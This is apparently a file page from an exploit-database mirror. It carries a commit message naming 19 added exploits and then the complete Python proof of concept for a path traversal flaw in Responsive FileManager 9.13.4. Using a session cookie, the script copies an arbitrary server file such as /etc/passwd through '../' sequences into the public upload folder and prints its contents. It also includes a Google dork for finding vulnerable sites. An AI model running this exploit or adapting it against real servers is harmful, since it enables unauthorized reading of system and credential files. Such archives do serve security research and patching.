2c7e8b1ddc
19 changes to exploits/shellcodes Intel(R) Matrix Storage Event Monitor x86 8.0.0.1039 - 'IAANTMON' Unquoted Service Path Fluentd TD-agent plugin 4.0.1 - Insecure Folder Permission IncomCMS 2.0 - Insecure File Upload House Rental and Property Listing 1.0 - Multiple Stored XSS Resumes Management and Job Application Website 1.0 - Authentication Bypass (Sql Injection) WordPress Plugin Stripe Payments 2.0.39 - 'AcceptStripePayments-settings[currency_code]' Stored XSS WordPress Plugin WP-Paginate 2.1.3 - 'preset' Stored XSS Online Movie Streaming 1.0 - Authentication Bypass Responsive ELearning System 1.0 - 'id' Sql Injection Baby Care System 1.0 - 'Post title' Stored XSS Responsive FileManager 9.13.4 - 'path' Path Traversal Zoom Meeting Connector 4.6.239.20200613 - Remote Root Exploit (Authenticated) HPE Edgeline Infrastructure Manager 1.0 - Multiple Remote Vulnerabilities Cassandra Web 0.5.0 - Remote File Read CSZ CMS 1.2.9 - Multiple Cross-Site Scripting Online Learning Management System 1.0 - RCE (Authenticated) Klog Server 2.4.1 - Command Injection (Unauthenticated) EgavilanMedia User Registration & Login System with Admin Panel 1.0 - Multiple Stored Cross-Site Scripting
64 lines
No EOL
2.1 KiB
Python
Executable file
64 lines
No EOL
2.1 KiB
Python
Executable file
# Exploit Title: Responsive FileManager 9.13.4 - 'path' Path Traversal
|
|
# Date: 12/12/2018 (PoC)
|
|
# Date: 04/01/2020 (Auto Exploit)
|
|
# Exploit Author: SunCSR (Sun* Cyber Security Research)
|
|
# Google Dork: intitle:"Responsive FileManager 9.x.x"
|
|
# Vendor Homepage: http://responsivefilemanager.com/
|
|
# Software Link: https://github.com/trippo/ResponsiveFilemanager/releases/tag/v9.13.4
|
|
# Version: < 9.13.4
|
|
# Tested on: Linux 64bit + Python3
|
|
|
|
#!/usr/bin/python3
|
|
|
|
# Usage: python exploit.py [URL] [SESSION] [File Path]
|
|
# python3 exploit.py http://local.lc:8081 PHPSESSID=hfpg2g4rdpvmpgth33jn643hq4 /etc/passwd
|
|
|
|
import requests
|
|
import sys
|
|
|
|
def usage():
|
|
if len(sys.argv) != 4:
|
|
print("Usage: python3 exploit.py [URL]")
|
|
sys.exit(0)
|
|
|
|
def copy_cut(url, session_cookie, file_name):
|
|
headers = {'Cookie': session_cookie,
|
|
'Content-Type': 'application/x-www-form-urlencoded'}
|
|
url_copy = "%s/filemanager/ajax_calls.php?action=copy_cut" % (url)
|
|
r = requests.post(
|
|
url_copy, data="sub_action=copy&path=../../../../../../.."+file_name,headers=headers)
|
|
return r.status_code
|
|
|
|
def paste_clipboard(url, session_cookie):
|
|
headers = {'Cookie': session_cookie,'Content-Type': 'application/x-www-form-urlencoded'}
|
|
url_paste = "%s/filemanager/execute.php?action=paste_clipboard" % (url)
|
|
r = requests.post(
|
|
url_paste, data="path=", headers=headers)
|
|
return r.status_code
|
|
|
|
def read_file(url, file_name):
|
|
name_file = file_name.split('/')[-1]
|
|
url_path = "%s/source/%s" % (url,name_file) #This is the default directory,
|
|
#if the website is a little different, edit this place
|
|
result = requests.get(url_path)
|
|
return result.text
|
|
|
|
def main():
|
|
usage()
|
|
url = sys.argv[1]
|
|
session_cookie = sys.argv[2]
|
|
file_name = sys.argv[3]
|
|
print("[*] Copy Clipboard")
|
|
copy_result = copy_cut(url, session_cookie, file_name)
|
|
if copy_result==200:
|
|
paste_result = paste_clipboard(url, session_cookie)
|
|
else:
|
|
print("[-] Paste False")
|
|
if paste_result==200:
|
|
print("[*] Paste Clipboard")
|
|
print(read_file(url, file_name))
|
|
else:
|
|
print("[-] Copy False")
|
|
|
|
if __name__ == "__main__":
|
|
main() |